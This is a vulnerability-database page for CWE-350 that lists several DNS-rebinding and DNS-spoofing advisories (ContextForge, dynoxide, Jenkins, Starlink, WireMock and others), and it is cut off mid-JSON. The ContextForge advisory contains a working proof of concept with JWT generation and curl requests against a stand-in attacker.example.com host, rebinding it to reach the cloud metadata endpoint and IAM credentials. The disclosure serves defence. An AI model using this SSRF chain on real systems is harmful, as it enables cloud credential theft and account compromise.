Common Weakness Enumeration

CWE-350

Allowed

Reliance on Reverse DNS Resolution for a Security-Critical Action

Abstraction: Variant · Status: Draft

The product performs reverse DNS resolution on an IP address to obtain the hostname and make a security decision, but it does not properly ensure that the IP address is truly associated with the hostname.

65 vulnerabilities reference this CWE, most recent first.

GHSA-9HGC-G3W5-67CM

Vulnerability from github – Published: 2026-08-14 19:49 – Updated: 2026-08-14 19:49

Summary

ContextForge: DNS TOCTOU race condition causes SSRF protection bypass (`/admin/gateways/test`)

Details

Summary

The /admin/gateways/test endpoint validates submitted URLs by resolving the hostname at validation time and blocking private address ranges. The HTTP client independently re-resolves DNS at connection time with no IP binding between the two operations, creating a TOCTOU window exploitable via DNS rebinding. The source code explicitly acknowledges this limitation in two separate locations.

Details

validate_gateway_test_url() in mcpgateway/common/validators.py (lines 1527–1710) calls socket.getaddrinfo() on the submitted hostname, checks whether the resolved IP falls in private, loopback, link-local, or cloud-metadata ranges (including 169.254.169.254, 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16), and accepts the URL if the result is clean. The validated URL is then passed to the HTTP client as the original hostname string, not as the validated IP address.

The HTTP client (httpx, via ResilientHttpClient) performs its own independent DNS resolution at connection time. No mechanism bridges the two resolutions:

The validated IP address is never passed to the HTTP client.
Only the original hostname is forwarded, triggering a second independent lookup.
No TTL enforcement, mandatory DNS-cache reuse, or IP-level socket binding is implemented.

The configuration options ssrf_blocked_networks (default: enabled, covers 169.254.169.254/32, link-local ranges, etc.) and ssrf_dns_fail_closed (default: True) apply exclusively at validation time. They share the same TOCTOU gap because they operate on the validation-time resolution result, not on the connection-time resolution performed by the HTTP client.

Two independent acknowledgements in the source code

Location 1 — mcpgateway/common/validators.py, lines 1537–1543 (function docstring of validate_gateway_test_url):

"DNS TOCTOU Limitation: This validation resolves DNS at validation time, but the HTTP client will re-resolve DNS at connection time. An attacker controlling DNS can return a public IP during validation and a private IP during connection (DNS rebinding). True mitigation requires pinning the validated IP into the connection (custom resolver/transport, or IP allowlist check at connect callback). This is tracked as a known limitation for future improvement."

Location 2 — mcpgateway/admin.py, lines 14025–14029 (call site comment):

"TODO(ICACF-15): DNS rebinding risk — allowlist and SSRF checks resolve DNS, but the actual ResilientHttpClient request resolves DNS a third time. An attacker-controlled DNS server could return a public IP during validation and a private IP during the actual request. Consider pinning the resolved IP for outbound requests (custom transport) or caching DNS resolution across validation and request phases."

The existence of a named TODO ticket (ICACF-15) confirms the maintainers consider this an open, tracked defect.

Prerequisites

MCPGATEWAY_ADMIN_API_ENABLED=true (not the default; must be explicitly enabled by an operator).
The attacker holds a credential with explicit gateways.read permission assigned via a database role.

Regarding prerequisite 2: the endpoint is decorated with @require_permission("gateways.read", allow_admin_bypass=False). The allow_admin_bypass=False flag explicitly disables the platform-admin shortcut, meaning even a platform admin must hold an explicit database-backed role assignment that carries gateways.read. A credential produced solely via the platform-admin bootstrap bypass described in the companion advisory (GHSA-m8rv-5m6m-32ff) — a virtual identity with no database record — is rejected with HTTP 403 at this endpoint because no role lookup can succeed without a database row. An attacker who has forged a JWT via that bootstrap path does not automatically gain access to this endpoint; they still require a separately provisioned account with an appropriate role.

Proof of Concept

Setup

cd /opt/mcp-cf-test
MCPGATEWAY_ADMIN_API_ENABLED=true \
JWT_SECRET_KEY=my-test-key-but-now-longer-than-32-bytes \
uvicorn mcpgateway.main:app --host 0.0.0.0 --port 8000 &
sleep 5

Step 1 — Obtain a token for an account with database role assignment

The exploit requires a credential for a user who exists in the database with a role carrying gateways.read (e.g., platform_admin, which holds the * wildcard). Register a user through the Admin UI or API and assign the platform_admin role, then generate a JWT:

import datetime, jwt, uuid

SECRET = "my-test-key-but-now-longer-than-32-bytes"
EMAIL  = "admin@example.com"   # must have platform_admin role in DB
now    = datetime.datetime.now(datetime.timezone.utc)

payload = {
    "sub": EMAIL,
    "aud": "mcpgateway-api",
    "iss": "mcpgateway",
    "jti": str(uuid.uuid4()),
    "iat": now,
    "exp": now + datetime.timedelta(hours=1),
}
print(jwt.encode(payload, SECRET, algorithm="HS256"), end="")

TOKEN=$(python3 /tmp/gen_token.py)

Step 2 — Baseline control: direct private IP is rejected

Submitting a literal private IP is blocked unconditionally before any DNS resolution occurs:

curl -s -w "\nHTTP %{http_code}\n" \
  -X POST http://127.0.0.1:8000/admin/gateways/test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/", "method": "GET"}'
# Expected: HTTP 400 — "Invalid gateway URL"

Step 3 — DNS rebinding attack

Attacker controls DNS for attacker.example.com with TTL set to 1 second.
Initial record: attacker.example.com → 1.2.3.4 (any public IP).
Submit the request:

curl -s -w "\nHTTP %{http_code}\n" \
  -X POST http://127.0.0.1:8000/admin/gateways/test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://attacker.example.com/latest/meta-data/", "method": "GET"}'

validate_gateway_test_url() resolves attacker.example.com → 1.2.3.4; all SSRF checks pass.
Attacker immediately flips the DNS record: attacker.example.com → 169.254.169.254.
httpx independently re-resolves the hostname and connects to 169.254.169.254.
The gateway returns the IMDS response body to the caller.

Standard DNS rebinding infrastructure (e.g., rbndr.us) reliably achieves this window against the 1-second TTL. In cloud environments with IMDSv2 disabled or not enforced, the response contains IAM role credentials.

Impact

Server-Side Request Forgery against internal services and cloud instance metadata. An attacker with a sufficiently privileged credential can probe internal network services, retrieve cloud credentials from 169.254.169.254/latest/meta-data/iam/security credentials/, access internal APIs not exposed to the internet, or conduct port scanning of the internal network. In cloud environments where IMDSv1 is accessible, this can lead to full cloud account compromise through metadata-service credential theft.

Suggested Fix

After DNS validation passes, pin the connection to the validated IP address rather than re-passing the hostname to the HTTP client. Implement this via a custom httpx transport or resolver that binds the socket to the already-resolved address and sets the Host header to the original hostname. Additionally, enforce a maximum DNS resolution age and refuse to connect if the elapsed time between validation and connection exceeds a configurable threshold. The codebase already tracks this requirement under TODO ICACF-15; the suggested fix closes it.

Severity

6.6 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mcp-contextforge-gateway"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53708"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-350",
      "CWE-367",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-14T19:49:14Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `/admin/gateways/test` endpoint validates submitted URLs by resolving the hostname at validation time and blocking private address ranges. The HTTP client independently re-resolves DNS at connection time with no IP binding between the two operations, creating a TOCTOU window exploitable via DNS rebinding. The source code explicitly acknowledges this limitation in two separate locations.\n\n## Details\n\n`validate_gateway_test_url()` in `mcpgateway/common/validators.py` (lines 1527\u20131710) calls `socket.getaddrinfo()` on the submitted hostname, checks whether the resolved IP falls in private, loopback, link-local, or cloud-metadata ranges (including `169.254.169.254`, `10.0.0.0/8`, `172.16.0.0/12`, and `192.168.0.0/16`), and accepts the URL if the result is clean. The validated URL is then passed to the HTTP client **as the original hostname string**, not as the validated IP address.\n\nThe HTTP client (`httpx`, via `ResilientHttpClient`) performs its own independent DNS resolution at connection time. No mechanism bridges the two resolutions:\n\n- The validated IP address is never passed to the HTTP client.\n- Only the original hostname is forwarded, triggering a second independent lookup.\n- No TTL enforcement, mandatory DNS-cache reuse, or IP-level socket binding is\n  implemented.\n\nThe configuration options `ssrf_blocked_networks` (default: enabled, covers `169.254.169.254/32`, link-local ranges, etc.) and `ssrf_dns_fail_closed` (default: `True`) apply exclusively at **validation time**. They share the same TOCTOU gap because they operate on the validation-time resolution result, not on the connection-time resolution performed by the HTTP client.\n\n### Two independent acknowledgements in the source code\n\n**Location 1** \u2014 `mcpgateway/common/validators.py`, lines 1537\u20131543 (function docstring of `validate_gateway_test_url`):\n\n\u003e \"DNS TOCTOU Limitation: This validation resolves DNS at validation time, but\n\u003e the HTTP client will re-resolve DNS at connection time. An attacker controlling\n\u003e DNS can return a public IP during validation and a private IP during connection\n\u003e (DNS rebinding). True mitigation requires pinning the validated IP into the\n\u003e connection (custom resolver/transport, or IP allowlist check at connect\n\u003e callback). This is tracked as a known limitation for future improvement.\"\n\n**Location 2** \u2014 `mcpgateway/admin.py`, lines 14025\u201314029 (call site comment):\n\n\u003e \"TODO(ICACF-15): DNS rebinding risk \u2014 allowlist and SSRF checks resolve DNS,\n\u003e but the actual ResilientHttpClient request resolves DNS a third time. An\n\u003e attacker-controlled DNS server could return a public IP during validation and a\n\u003e private IP during the actual request. Consider pinning the resolved IP for\n\u003e outbound requests (custom transport) or caching DNS resolution across\n\u003e validation and request phases.\"\n\nThe existence of a named TODO ticket (ICACF-15) confirms the maintainers consider this an open, tracked defect.\n\n### Prerequisites\n\n1. `MCPGATEWAY_ADMIN_API_ENABLED=true` (not the default; must be explicitly\n   enabled by an operator).\n2. The attacker holds a credential with explicit `gateways.read` permission\n   assigned via a database role.\n\nRegarding prerequisite 2: the endpoint is decorated with @require_permission(\"gateways.read\", allow_admin_bypass=False). The allow_admin_bypass=False flag explicitly disables the platform-admin shortcut, meaning even a platform admin must hold an explicit database-backed role assignment that carries gateways.read. A credential produced solely via the platform-admin bootstrap bypass described in the companion advisory (GHSA-m8rv-5m6m-32ff) \u2014 a virtual identity with no database record \u2014 is rejected with HTTP 403 at this endpoint because no role lookup can succeed without a database row. An attacker who has forged a JWT via that bootstrap path does not automatically gain access to this endpoint; they still require a separately provisioned account with an appropriate role.\n\n## Proof of Concept\n\n### Setup\n\n```bash\ncd /opt/mcp-cf-test\nMCPGATEWAY_ADMIN_API_ENABLED=true \\\nJWT_SECRET_KEY=my-test-key-but-now-longer-than-32-bytes \\\nuvicorn mcpgateway.main:app --host 0.0.0.0 --port 8000 \u0026\nsleep 5\n```\n\n### Step 1 \u2014 Obtain a token for an account with database role assignment\n\nThe exploit requires a credential for a user who exists in the database with a role carrying `gateways.read` (e.g., `platform_admin`, which holds the `*` wildcard). Register a user through the Admin UI or API and assign the `platform_admin` role, then generate a JWT:\n\n```python\nimport datetime, jwt, uuid\n\nSECRET = \"my-test-key-but-now-longer-than-32-bytes\"\nEMAIL  = \"admin@example.com\"   # must have platform_admin role in DB\nnow    = datetime.datetime.now(datetime.timezone.utc)\n\npayload = {\n    \"sub\": EMAIL,\n    \"aud\": \"mcpgateway-api\",\n    \"iss\": \"mcpgateway\",\n    \"jti\": str(uuid.uuid4()),\n    \"iat\": now,\n    \"exp\": now + datetime.timedelta(hours=1),\n}\nprint(jwt.encode(payload, SECRET, algorithm=\"HS256\"), end=\"\")\n```\n\n```bash\nTOKEN=$(python3 /tmp/gen_token.py)\n```\n\n### Step 2 \u2014 Baseline control: direct private IP is rejected\n\nSubmitting a literal private IP is blocked unconditionally before any DNS resolution occurs:\n\n```bash\ncurl -s -w \"\\nHTTP %{http_code}\\n\" \\\n  -X POST http://127.0.0.1:8000/admin/gateways/test \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"url\": \"http://169.254.169.254/latest/meta-data/\", \"method\": \"GET\"}\u0027\n# Expected: HTTP 400 \u2014 \"Invalid gateway URL\"\n```\n\n### Step 3 \u2014 DNS rebinding attack\n\n1. Attacker controls DNS for `attacker.example.com` with TTL set to 1 second.\n2. Initial record: `attacker.example.com \u2192 1.2.3.4` (any public IP).\n3. Submit the request:\n\n```bash\ncurl -s -w \"\\nHTTP %{http_code}\\n\" \\\n  -X POST http://127.0.0.1:8000/admin/gateways/test \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"url\": \"http://attacker.example.com/latest/meta-data/\", \"method\": \"GET\"}\u0027\n```\n\n4. `validate_gateway_test_url()` resolves `attacker.example.com \u2192 1.2.3.4`;\n   all SSRF checks pass.\n5. Attacker immediately flips the DNS record:\n   `attacker.example.com \u2192 169.254.169.254`.\n6. `httpx` independently re-resolves the hostname and connects to\n   `169.254.169.254`.\n7. The gateway returns the IMDS response body to the caller.\n\nStandard DNS rebinding infrastructure (e.g., `rbndr.us`) reliably achieves this window against the 1-second TTL. In cloud environments with IMDSv2 disabled or not enforced, the response contains IAM role credentials.\n\n## Impact\n\nServer-Side Request Forgery against internal services and cloud instance metadata. An attacker with a sufficiently privileged credential can probe internal network services, retrieve cloud credentials from `169.254.169.254/latest/meta-data/iam/security credentials/`, access internal APIs not exposed to the internet, or conduct port scanning of the internal network. In cloud environments where IMDSv1 is accessible, this can lead to full cloud account compromise through metadata-service credential theft.\n\n## Suggested Fix\n\nAfter DNS validation passes, pin the connection to the validated IP address rather than re-passing the hostname to the HTTP client. Implement this via a custom `httpx` transport or resolver that binds the socket to the already-resolved address and sets the `Host` header to the original hostname. Additionally, enforce a maximum DNS resolution age and refuse to connect if the elapsed time between validation and connection exceeds a configurable threshold. The codebase already tracks this requirement under TODO ICACF-15; the suggested fix closes it.",
  "id": "GHSA-9hgc-g3w5-67cm",
  "modified": "2026-08-14T19:49:14Z",
  "published": "2026-08-14T19:49:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/IBM/mcp-context-forge/security/advisories/GHSA-9hgc-g3w5-67cm"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/IBM/mcp-context-forge"
    },
    {
      "type": "WEB",
      "url": "https://github.com/IBM/mcp-context-forge/releases/tag/v1.0.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ContextForge: DNS TOCTOU race condition causes SSRF protection bypass (`/admin/gateways/test`)"
}

GHSA-9QFX-2RGM-H5RF

Vulnerability from github – Published: 2025-10-24 15:31 – Updated: 2025-10-24 18:31

Details

Improper handling of DNS over TCP in Simple DNS Plus v9 allows a remote attacker with querying access to the DNS server to cause the server to return request payloads from other clients. This happens when the TCP length prefix is malformed (len differs from actual packet len), and due to a concurrency/buffering issue, even when the lengths match. A length prefix that is smaller than the actual packet size increases information leakage. In summary, this vulnerability allows an attacker to see DNS queries of other clients.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-61430"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-350"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-24T15:15:40Z",
    "severity": "MODERATE"
  },
  "details": "Improper handling of DNS over TCP in Simple DNS Plus v9 allows a remote attacker with querying access to the DNS server to cause the server to return request payloads from other clients. This happens when the TCP length prefix is malformed (len differs from actual packet len), and due to a concurrency/buffering issue, even when the lengths match. A length prefix that is smaller than the actual packet size increases information leakage. In summary, this vulnerability allows an attacker to see DNS queries of other clients.",
  "id": "GHSA-9qfx-2rgm-h5rf",
  "modified": "2025-10-24T18:31:00Z",
  "published": "2025-10-24T15:31:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61430"
    },
    {
      "type": "WEB",
      "url": "https://ma-personal.notion.site/simpledns-vuln?source=copy_link"
    },
    {
      "type": "WEB",
      "url": "https://www.incognitotgt.me/blog/simpledns-vuln"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CC8M-4XFJ-4H3J

Vulnerability from github – Published: 2023-06-14 00:30 – Updated: 2024-04-04 04:48

Details

Windows DNS Spoofing Vulnerability

Severity

3.7 (Low)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2023-32020"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-350"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-14T00:15:11Z",
    "severity": "MODERATE"
  },
  "details": "Windows DNS Spoofing Vulnerability",
  "id": "GHSA-cc8m-4xfj-4h3j",
  "modified": "2024-04-04T04:48:57Z",
  "published": "2023-06-14T00:30:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32020"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-32020"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FVH2-GM75-J4J7

Vulnerability from github – Published: 2026-05-18 17:00 – Updated: 2026-05-18 17:00

Summary

dynoxide: DNS rebinding and cross-origin CSRF via MCP HTTP transport

Details

Summary

dynoxide's MCP HTTP transport was vulnerable to DNS rebinding via its transitive rmcp dependency, plus a related cross-origin CSRF gap. A malicious web page could make the user's browser send requests to a local dynoxide mcp --http or dynoxide serve --mcp server with a non-loopback Host header, which the server would then process. Affects 0.9.3 to 0.9.12. The stdio transport (dynoxide mcp without --http, which is the default) is not affected.

Impact

If a user is running dynoxide mcp --http (or dynoxide serve --mcp) on their machine and then visits a malicious web page, the attacker's JavaScript can call any MCP tool exposed by the running dynoxide instance.

Reachable tools include reads (get_item, query, scan, batch_get_item, describe_table, list_tables) and writes (put_item, update_item, delete_item, create_table, batch_write_item).

Any data in tables that the local dynoxide instance has access to can be read, modified, or destroyed.

Patches

dynoxide 0.9.13 closes both the named CVE and a related cross-origin CSRF gap:

DNS rebinding (the named CVE). rmcp is upgraded from 1.1.1 to 1.6.0. rmcp 1.4+ ships a default Host-header allowlist (["localhost", "127.0.0.1", "::1"]) which rejects requests carrying any other Host header with a 403.
Defence in depth. Explicit allowed_hosts and allowed_origins lists are now set on StreamableHttpServerConfig directly. The Host allowlist protects against a future rmcp default flip. The Origin allowlist closes a related cross-origin CSRF gap that the Host check alone does not address: a malicious page could fetch the loopback endpoint with mode: 'no-cors', the Host header would match (it's the literal loopback address the browser is connecting to), but the Origin header would otherwise have been unchecked.

Native MCP clients that don't send an Origin header (Claude Code, Cursor, the dynoxide CLI) are unaffected by the Origin check and continue to work.

Workarounds

Upgrade to dynoxide 0.9.13.
If upgrade is not immediately possible: do not run the MCP HTTP transport. Run dynoxide mcp (stdio, the default) instead of dynoxide mcp --http, and don't pass --mcp to dynoxide serve.

Resources

Upstream rmcp advisory: GHSA-89vp-x53w-74fx
Upstream CVE: CVE-2026-42559
dynoxide release: v0.9.13
MCP transport security guidance: https://modelcontextprotocol.io/specification/2025-11-25/basic/transports#security-warning

Credits

Vulnerability identified via GitHub Dependabot alert on the transitive rmcp dependency.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "dynoxide-rs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.9.3"
            },
            {
              "fixed": "0.9.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "dynoxide"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.9.3"
            },
            {
              "fixed": "0.9.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-346",
      "CWE-350",
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T17:00:25Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\ndynoxide\u0027s MCP HTTP transport was vulnerable to DNS rebinding via its transitive `rmcp` dependency, plus a related cross-origin CSRF gap. A malicious web page could make the user\u0027s browser send requests to a local `dynoxide mcp --http` or `dynoxide serve --mcp` server with a non-loopback `Host` header, which the server would then process. Affects 0.9.3 to 0.9.12. The stdio transport (`dynoxide mcp` without `--http`, which is the default) is not affected.\n\n## Impact\n\nIf a user is running `dynoxide mcp --http` (or `dynoxide serve --mcp`) on their machine and then visits a malicious web page, the attacker\u0027s JavaScript can call any MCP tool exposed by the running dynoxide instance.\n\nReachable tools include reads (`get_item`, `query`, `scan`, `batch_get_item`, `describe_table`, `list_tables`) and writes (`put_item`, `update_item`, `delete_item`, `create_table`, `batch_write_item`).\n\nAny data in tables that the local dynoxide instance has access to can be read, modified, or destroyed.\n\n## Patches\n\ndynoxide 0.9.13 closes both the named CVE and a related cross-origin CSRF gap:\n\n1. **DNS rebinding (the named CVE).** `rmcp` is upgraded from 1.1.1 to 1.6.0. rmcp 1.4+ ships a default Host-header allowlist (`[\"localhost\", \"127.0.0.1\", \"::1\"]`) which rejects requests carrying any other Host header with a 403.\n\n2. **Defence in depth.** Explicit `allowed_hosts` and `allowed_origins` lists are now set on `StreamableHttpServerConfig` directly. The Host allowlist protects against a future rmcp default flip. The Origin allowlist closes a related cross-origin CSRF gap that the Host check alone does not address: a malicious page could `fetch` the loopback endpoint with `mode: \u0027no-cors\u0027`, the Host header would match (it\u0027s the literal loopback address the browser is connecting to), but the Origin header would otherwise have been unchecked.\n\nNative MCP clients that don\u0027t send an Origin header (Claude Code, Cursor, the dynoxide CLI) are unaffected by the Origin check and continue to work.\n\n## Workarounds\n\n- Upgrade to dynoxide 0.9.13.\n- If upgrade is not immediately possible: do not run the MCP HTTP transport. Run `dynoxide mcp` (stdio, the default) instead of `dynoxide mcp --http`, and don\u0027t pass `--mcp` to `dynoxide serve`.\n\n## Resources\n\n- Upstream rmcp advisory: [GHSA-89vp-x53w-74fx](https://github.com/modelcontextprotocol/rust-sdk/security/advisories/GHSA-89vp-x53w-74fx)\n- Upstream CVE: [CVE-2026-42559](https://www.cve.org/CVERecord?id=CVE-2026-42559)\n- dynoxide release: [v0.9.13](https://github.com/nubo-db/dynoxide/releases/tag/v0.9.13)\n- MCP transport security guidance: \u003chttps://modelcontextprotocol.io/specification/2025-11-25/basic/transports#security-warning\u003e\n\n## Credits\n\nVulnerability identified via GitHub Dependabot alert on the transitive rmcp dependency.",
  "id": "GHSA-fvh2-gm75-j4j7",
  "modified": "2026-05-18T17:00:25Z",
  "published": "2026-05-18T17:00:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nubo-db/dynoxide/security/advisories/GHSA-fvh2-gm75-j4j7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nubo-db/dynoxide"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nubo-db/dynoxide/releases/tag/v0.9.13"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2026-0140.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "dynoxide: DNS rebinding and cross-origin CSRF via MCP HTTP transport"
}

GHSA-H88C-Q974-86MM

Vulnerability from github – Published: 2024-04-05 06:30 – Updated: 2024-08-01 15:31

Details

SpaceX Starlink Wi-Fi router GEN 2 before 2023.53.0 and Starlink Dish before 07dd2798-ff15-4722-a9ee-de28928aed34 allow CSRF (e.g., for a reboot) via a DNS Rebinding attack.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2023-52235"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-350"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-05T06:15:10Z",
    "severity": "HIGH"
  },
  "details": "SpaceX Starlink Wi-Fi router GEN 2 before 2023.53.0 and Starlink Dish before 07dd2798-ff15-4722-a9ee-de28928aed34 allow CSRF (e.g., for a reboot) via a DNS Rebinding attack.",
  "id": "GHSA-h88c-q974-86mm",
  "modified": "2024-08-01T15:31:37Z",
  "published": "2024-04-05T06:30:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-52235"
    },
    {
      "type": "WEB",
      "url": "https://bugcrowd.com/disclosures/f529009b-90eb-4bf9-957d-6fe7ea890fa2/starlink-dishy-is-vulnerable-to-csrf-via-dns-rebinding"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PHHV-63FH-RRC8

Vulnerability from github – Published: 2026-03-18 18:31 – Updated: 2026-03-19 12:46

Summary

Jenkins has a DNS rebinding vulnerability in WebSocket CLI origin validation

Details

Jenkins 2.442 through 2.554 (both inclusive), LTS 2.426.3 through LTS 2.541.2 (both inclusive) performs origin validation of requests made through the CLI WebSocket endpoint by computing the expected origin for comparison using the Host or X-Forwarded-Host HTTP request headers, making it vulnerable to DNS rebinding attacks that allow bypassing origin validation.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.main:jenkins-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.442"
            },
            {
              "fixed": "2.555"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33002"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346",
      "CWE-350"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T12:46:29Z",
    "nvd_published_at": "2026-03-18T16:16:28Z",
    "severity": "HIGH"
  },
  "details": "Jenkins 2.442 through 2.554 (both inclusive), LTS 2.426.3 through LTS 2.541.2 (both inclusive) performs origin validation of requests made through the CLI WebSocket endpoint by computing the expected origin for comparison using the Host or X-Forwarded-Host HTTP request headers, making it vulnerable to DNS rebinding attacks that allow bypassing origin validation.",
  "id": "GHSA-phhv-63fh-rrc8",
  "modified": "2026-03-19T12:46:30Z",
  "published": "2026-03-18T18:31:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33002"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jenkinsci/jenkins/commit/348666da7136ef8270f88c0a7350562b0ba7f8ce"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jenkinsci/jenkins"
    },
    {
      "type": "WEB",
      "url": "https://www.jenkins.io/security/advisory/2026-03-18/#SECURITY-3674"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Jenkins has a DNS rebinding vulnerability in WebSocket CLI origin validation"
}

GHSA-PMXQ-PJ47-J8J4

Vulnerability from github – Published: 2023-09-08 12:19 – Updated: 2023-09-08 12:19

Summary

Domain restrictions bypass via DNS Rebinding in WireMock and WireMock Studio webhooks, proxy and recorder modes

Details

Impact

The proxy mode of WireMock, can be protected by the network restrictions configuration, as documented in Preventing proxying to and recording from specific target addresses. These restrictions can be configured using the domain names, and in such a case the configuration is vulnerable to the DNS rebinding attacks. A similar patch was applied in WireMock 3.0.0-beta-15 for the WireMock Webhook Extensions.

The root cause of the attack is a defect in the logic which allows for a race condition triggered by a DNS server whose address expires in between the initial validation and the outbound network request that might go to a domain that was supposed to be prohibited. Control over a DNS service is required to exploit this attack, so it has high execution complexity and limited impact.

Affected versions

WireMock 3,x until 3.0.3 (security patch), on default settings in environments with access to the network
WireMock 2.x until 2.35.1 (security patch), on default settings in environments with access to the network
Python WireMock until 2.6.1
WireMock Studio - all versions, this proprietary product was discontinued in 2022

Patches

WireMock 3.0.3 + the 3.0.3-1 Docker image
WireMock 2.35.1 + the 2.35.1-1 Docker image - backport to WireMock 2.x
Python WireMock 2.6.1

Workarounds

For WireMock:

Option 1: Configure WireMock to use IP addresses instead of the domain names in the outbound URLs subject to DNS rebinding
Option 2: Use external firewall rules to define the list of permitted destinations

For WireMock Studio: N/A. Switch to another distribution, there will be no fix provided. The vendor of former WireMock Studio recommends migration to WireMock Cloud

References

CVE-2023-41327 - Related issue in the WireMock Webhooks Extension

Severity

3.9 (Low)


                  
                    CVSS:3.1/AV:A/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.wiremock:wiremock-standalone"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.wiremock:wiremock"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
